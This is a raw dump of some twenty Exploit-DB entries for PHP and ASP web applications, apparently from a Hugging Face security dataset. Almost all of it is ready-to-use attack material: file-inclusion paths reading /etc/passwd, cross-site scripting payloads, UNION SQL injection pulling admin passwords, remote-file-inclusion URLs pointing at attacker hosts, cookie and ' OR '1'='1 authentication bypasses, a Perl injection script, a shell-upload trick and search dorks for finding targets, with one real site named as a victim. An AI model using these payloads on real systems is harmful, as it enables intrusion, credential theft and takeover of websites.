deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16094
Description: Raja Natarajan Guestbook 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-02
Author: h0rd

Exploit:
~ Raja Natarajan GUestbook 1.0 Local File Inclusion Exploit
~ App: http://sourceforge.net/projects/phpscript/files/phpscript/Raja%20Guestbook/guestbook_1.0.zip/download
~ Author: h0rd
~ Vuln: http://127.0.0.1/guestbook/add.php?lang=../../../../../../../../../../../../../../../etc/passwd%00

~ Thx: cr4wl3r, budy, n-0ne, mat
~ exploit-db.com
~ r00tsecurity.org
~ h4ckb0x.org
~ packetstormsecurity.org
Exploit-DB #32607
Description: RakhiSoftware Shopping Cart - 'product.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-28
Author: Charalambous Glafkos

Exploit:
source: https://www.securityfocus.com/bid/32563/info

RakhiSoftware Shopping Cart is prone to multiple remote vulnerabilities.

Exploiting these issues can allow attackers to obtain sensitive information, steal cookie data, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/rjbike_new/product.php?category_id=>'><script>alert(19 49308870);</script>&subcategory_id=1

http://www.example.com/rjbike_new/product.php?category_id=1&subcategory_id=>' ><script>alert[PII_REDACTED]);</script>
Exploit-DB #32608
Description: RakhiSoftware Shopping Cart - PHPSESSID Cookie Manipulation Full Path Disclosure
Type: webapps
Platform: php
Date: 2008-11-28
Author: Charalambous Glafkos

Exploit:
source: https://www.securityfocus.com/bid/32563/info
 
RakhiSoftware Shopping Cart is prone to multiple remote vulnerabilities.
 
Exploiting these issues can allow attackers to obtain sensitive information, steal cookie data, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Set Cookie: PHPSESSID='
Exploit-DB #7250
Description: RakhiSoftware Shopping Cart - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-27
Author: XaDoS

Exploit:
[â– ] Prince Comparison Script : Shopping card <= Rem0tE $ql Injection
 
>@.@<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Remote Sql inJection
> SIte vuln: http://willscript.com/rjbike_new/index.php
 
>@.@<
 

 
[â– ] ExPL0iT:
 
|: http://www.example.com/product.php?category_id=1&subcategory_id=[$qL]
 
 
 
[â– ] DÂ£M0:  
 
|: http://willscript.com/rjbike_new/product.php?category_id=1&subcategory_id=4 union select 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from admin--
 
(you see the username and password of adm in the title of one product)
 
[â– ] Th4nKs::
 
\> str0ke </
\> OnlY me ( no help for this ) ;-) </

# milw0rm.com [2008-11-27]
Exploit-DB #1942
Description: ralf image Gallery 0.7.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-22
Author: Aesthetico

Exploit:
Title: Ralf Image Gallery <= 0.7.4 - Multiple Remote File Include and directory
traversal Vulnerabilities
-----------------------------------------------------------------
Vendor: RIG is developed and maintained by Le R'alf
URL: http://rig.powerpulsar.com/
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------

Exploitation:
-----------------------------------------------------------------

/check_entry.php?dir_abs_src=http://www.yourspace.com/yourscript.php?
/check_entry.php?dir_abs_src=../../../../../../../../../etc/passwd%00
/admin_album.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_image.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?
/admin_translate.php?dir_abs_admin_src=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-06-22]
Exploit-DB #8700
Description: Rama CMS 0.9.8 - 'download.php' File Disclosure
Type: webapps
Platform: php
Date: 2009-05-15
Author: Br0ly

Exploit:
#Start info: {
#
#Script Name:   Rama Zaitan Cms
# Script Project: http://sourceforge.net/project/showfiles.php?group_id=212495&package_id=255590
# Download:       http://sourceforge.net/project/downloading.php?group_id=212495&filename=cms975.zip&a=5782381
#
#  0.9.5 <= Versions <=0.9.8  
#
# by Br0ly.
# br0ly.Code@gmail.com
#
# Brasil.
#
# Gretz: str0ke , Osirys,  xscholler , 6_Bl4ck9_f0x6  and all my friends.
#
# Sorry for my bad english. ;/
#
#End info }


Php code :
<?php
$dir  = 'uploads/';
$file = $_GET['file']; <-----------------------------------------------------------------> Vul

header('Content-Disposition: attachment; filename='.$file);

switch ($_GET['type']) {
    case 'Doc':
        header ('Content-type: application/msword');
        break;
    case 'Excel':
        header ('Content-type: application/vnd.ms-excel');
        break;
    case 'ZIP':
        header ('Content-type: application/zip');
        break;
    case 'PPT':
        header ('Content-type: application/vnd.ms-powerpoint');
        break;
    case 'PDF':
        header ('Content-type: application/pdf');
        break;

    default: header ('application/force-download');
}

readfile("$dir$file");  <-------------------------------------------------------> Vul
?>

p0f :

http://locahost/ramacms/download.php?file=download.php
http://locahost/ramacms/download.php?file=../index.php
http://locahost/ramacms/download.php?file=../config.php

;D

# milw0rm.com [2009-05-15]
Exploit-DB #37508
Description: Rama Zeiten CMS - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-07-16
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54467/info

Rama Zeiten CMS is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in further attacks.

Rama Zeiten CMS 0.99 is vulnerable; other versions may also be affected.

http://www.example.com/ramazeiten/download.php?file=../../../../../etc/passwd
Exploit-DB #12412
Description: Ramaas Software CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-27
Author: 41.w4r10r

Exploit:
# Exploit Title: Ramaas Software CMS SQL Injection Vulnerability
# Version: Web Application
# Tested on: Apcahe/Unix
# Dork : intext:"Powered by Ramaas Software"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################


This Is The CMS Created by The Leading WebDevelopment Company ramaas.com For
There Clients and all have same

vulnerability.....

Exploited Link :

1) http://example.com/display_agents.php?id=243'

2) http://example.com/view.php?articleid=14567'

3) http://example.com/view_businessnews.php?articleid=7'

4) http://example.com/view_article.php?articleid=12242'

5) http://example.com/article.php?articleid=111'


Demo :

1)
http://example.com/display_agents.php?id=-243+union+select+all+1,2,3,version(),5,user(),7,8--

2)
http://example.com/view.php?articleid=-14567+union+select+all+1,2,3,version(),5,user(),7,8,9,10--

3)
http://example.com/view_businessnews.php?articleid=-7+union+select+all+1,2,3,version(),user(),6,7,8,9--

4)
http://example.com/view_article.php?articleid=-12242+union+select+all+1,2,3,version(),user(),6,7,8,9--

5)
http://example.com/article.php?articleid=-111+union+select+all+1,2,3,version(),5,user(),7,8,9,10,11--



#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #28814
Description: RamaCMS - 'ADODB.Inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: Le CoPrA

Exploit:
source: https://www.securityfocus.com/bid/20523/info

RamaCMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/adodb/adodb.inc.php?path=|SCRIPT-URL|
Exploit-DB #37138
Description: Ramui Forum Script - 'query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-07
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/53411/info

Ramui Forum Script is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com//gb/user/index.php?query=%22%20onmouseover%3dprompt%28991522%29%20bad%3d%22
Exploit-DB #39354
Description: Ramui Forum Script 9.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-01-28
Author: bd0rk

Exploit:
# Title: Ramui forum script 9.0 SQL Injection Exploit
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com/
# Download: http://ramui.com/forum-script/download-v9.html
# Google-Dork: n/a --->Script-Kiddie protection! :)
# Direct SQL-Path: n/a --->Script-Kiddie protection! :)

# Description: I've found a sql-injection vulnerability in this web-software.
#             The vulnerable code is in /gb/include/page.php
#             The problem is the GET-pagename.
#             An attacker can use this exploitcode for unfiltered sql-queries.

                                      


#                                                    Vuln-Code in /gb/include/page.php:
#************************************************************************************************************************************
# <?php
# if(isset($_GET['pagename'])){
#	$name=$_GET['pagename'];
#	$query=sprintf("SELECT* FROM ".PREFIX."page WHERE pagename = '%s' AND publish = 'Y'",$xx_con->real_escape_string($name));
# }
#************************************************************************************************************************************



# [+]PERL-EXPLOITCODE(Copy&Paste):


#!/usr/bin/perl

print q{
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                                                    +
+   Ramui forum script 9.0 SQL Injection Exploit     +
+                                                    +
+                  bd0rk || SOH-Crew                 +
+                                                    +
+            Greetings from cold Germany             +
+                                                    +
++++++++++++++++++++++++++++++++++++++++++++++++++++++

};

use IO::Socket;

print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /ramui/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "gb/include/page.php?pagename=[sqlInjectionCodeHERE]".$user ;
print "
=> Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}
Exploit-DB #39355
Description: Ramui Web Hosting Directory Script 4.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2016-01-28
Author: bd0rk

Exploit:
# Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability
# Author: bd0rk
# Twitter: twitter.com/bd0rk
# Vendor: http://www.ramui.com
# Download: http://ramui.com/directory-script/download-v4.html

Proof-of-Concept:
/gb/include/connection.php lines 6-13 in php-sourcecode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
class connection
{
protected $site;
public $error=false;
protected $admin=false;
function __construct($root)
{
        include $root."database/config.php";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The $root-parameter is a __construct.
But no value was passed to him.
Therefore, nothing can be checked before include in line 13.
So an attacker can execute malicious shellcode about it.
In this case, the __construct is meaningless.


[+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]


~~Everything revolves. Even the planet. :)~~
***Greetz to ALL my followers on Twitter!***

/bd0rk
Exploit-DB #26634
Description: Randshop - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-28
Author: liz0

Exploit:
source: https://www.securityfocus.com/bid/15599/info

Randshop is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

All versions of Randshop are reported affected. 

http://www.example.com/folder/themes/kategorie/index.php?kategorieid=6[SQL]
http://www.example.com/folder/themes/kategorie/index.php?katid=40[SQL]
Exploit-DB #28162
Description: Randshop 0.9.3/1.2 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-04
Author: black-code

Exploit:
source: https://www.securityfocus.com/bid/18809/info

Randshop is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/randshop/index.php?incl=http://attacker's site
Exploit-DB #1971
Description: Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-01
Author: OLiBekaS

Exploit:
Title       : randshop <= 1.1.1 Remote File Inclusion Vulnerability
-
URL         : http://www.randshop.com/
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
dork        : "software 2004-2005 by randshop"
-
exploit     : http://[target]/[path]/includes/header.inc.php?dateiPfad=http://[attacker]/cmd.txt?&cmd=ls
-
greatz      : Renzokuzen, skulmatic, sikunYuk, ulga, bigmaster, cgibin, weleh, and all #papmahackerlink crew
-

# milw0rm.com [2006-07-01]
Exploit-DB #7805
Description: Rankem - File Disclosure / Cross-Site Scripting / Cookie
Type: webapps
Platform: php
Date: 2009-01-16
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: RankEm
Download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS/CM)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/database/topsites.mdb
[XSS]:
http://site.com/rankup.asp?siteID=<script>alert(1369)</script>
[CM]:
http://site.com/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
---------------------------------
Victem :
http://www.top50.co.nz

# milw0rm.com [2009-01-16]
Exploit-DB #5628
Description: RantX 1.0 - Insecure Admin Authentication
Type: webapps
Platform: php
Date: 2008-05-15
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		  RantX 1.0 Insecure Admin Authentication Vulnerability	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://roticv.rantx.com/rantx.zip
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

RantX suffers from a insecure admin authentication peice of code, the code is below. (in middle of admin.php)

CODE:

if ($_COOKIE["logininfo"] == NULL){
	LoginPage();
	exit(-1);
}
$storedformat = $_COOKIE["logininfo"];
$filehandle = fopen($passwordfile, "r");
$contents = fread ($filehandle, filesize ($passwordfile));
fclose ($filehandle);
$array2 = explode("\n", $contents);
foreach ($array2 as $values){
	if (strcmp($values, $storedformat) == 0){
		$passwordvalid = true;
	}
}

__EOF__

ok as we can see, the first thing is that the script checks to see if the cookie "logininfo" exists,
we can simply craft a cookie with javascript to bypass this part, or form a legit login request.

next the password file is opened, then the lines are split into an array, then they are looped thru, if the
line matches the cookie then authentication to admin is GIVEN (TRUE).

if you check the password.php source, you can see it contains the php tags, of course. (<?php/?>)
so what if we give the cookie a value of "<?php" or "?>" then when the cookie is checked against the password
file, one line will return TRUE which will give us admin, as strcmp() compares a string, and since
the password.php file contains "?>" and our cookie will contain "?>" we will get access.

the below javascript code will exploit this bug.



Exploit:

javascript:document.cookie = "logininfo=?>; path=/";



NOTE/TIP: 

after running the above javascript code in your browser (preferbly firefox/netscape), vist "Admin.php"

this should come to your attention how many web-developers are very bad coders. and leave massive
easy-to-fix holes like this in there scripts.

just remember when downloading a file of any kind to read through its source, and make sure its secure



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+		  RantX 1.0 Insecure Admin Authentication Vulnerability	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15]
Exploit-DB #7324
Description: Rapid Classified 3.1 - Database Disclosure
Type: webapps
Platform: php
Date: 2008-12-02
Author: CoBRa_21

Exploit:
---------------------------------------------------------------------------

Script Name: Rapid Classified

Version: v3.1

Google Dork: intext:Â©2003-2008 RC v3.1 Developed by: GA Soft

Author: CoBRa_21
 
My Web Site: www.ipbul.org

---------------------------------------------------------------------------
 
Exploit:
 
http://localhost/[PATH]/db/cldb.mdb
 
 
---------------------------------------------------------------------------

# milw0rm.com [2008-12-02]
Exploit-DB #31135
Description: Rapid-Source Rapid-Recipe Component - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-02-11
Author: breaker_unit

Exploit:
source: https://www.securityfocus.com/bid/27724/info

Rapid-Recipe is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_rapidrecipe&page=showuser&user_id=-1+union+all+select+concat(username,0x3a,password)+from+jos_users+limit+0,20--
http://www.example.com/index.php?option=com_rapidrecipe&page=viewcategorysrecipes&category_id=-1+union+all+select+concat(username,0x3a,password),2+from+jos_users+limit+0,20--
Exploit-DB #14410
Description: rapidCMS 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-18
Author: Mahjong

Exploit:
# Exploit Title: rapidCMS V2 Authentication Bypass
# Date: [18/07/2010]
# Author: Mahjong
# Software Link: www.rapidcms.de
# Version: V2
# Tested on: Linux
 
* Found by: Mahjong
* E-Mail: mahjong@phcn.ws
* Greetings: Puddy, Ancolon

----------------------------------------------------------    

Exploit Authentication Bypass:
 
User: something
Pass: ' OR '1'='1
  
----------------------------------------------------------
   
Demo :
http://site.tld/admin.php
  
----------------------------------------------------------
Exploit-DB #14430
Description: RapidLeech Scripts - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-21
Author: H-SK33PY

Exploit:
# Exploit Title: RapidLeech Scrits Remote File Upload ( upload shell php )                    
# Date: 21/07/2010                             
# Author: H-SK33PY                      
# Software Link: http://www.rapidleech.com/
# Version: all versions
# Google dork :intitle:"Rx08.ii36B.Rv"
# Platform / Tested on: linux
# Category: remote
# Code : N/A


  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010    
   0                                                       0
   1  Iranian Datacoders Security Team 2010
   0                                                       0
  [PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0101010

#BUG:#########################################################################

After find the site of rapidleecher script on this :

To Active For run this method change the name of shell code 

example : shell.php >>>>>>> to  shell.php.001  or  shell.php.00

After trasfer this 

you can run it in this Url :
http://site.com/0x14/shell.php.001

or

http://site.com/0x14/shell.php.00

#############################################################################
Website : http://www.datacoders.ir

Special Thanks to : ccC0d3rZzz & all iranian datacoders members

#############################################################################
Exploit-DB #34808
Description: Rapidsendit Clone Script - 'admin.php' Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-08
Author: NoGe

Exploit:
source: https://www.securityfocus.com/bid/43702/info

Rapidsendit Clone Script is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application; this may aid in further attacks.

Rapidsendit Clone Script 2.1 and prior are vulnerable. 

javascript:document.cookie="logged=696d29e0940a4957748fe3fc9efd22a3; path=/";
696d29e0940a4957748fe3fc9efd22a3 = password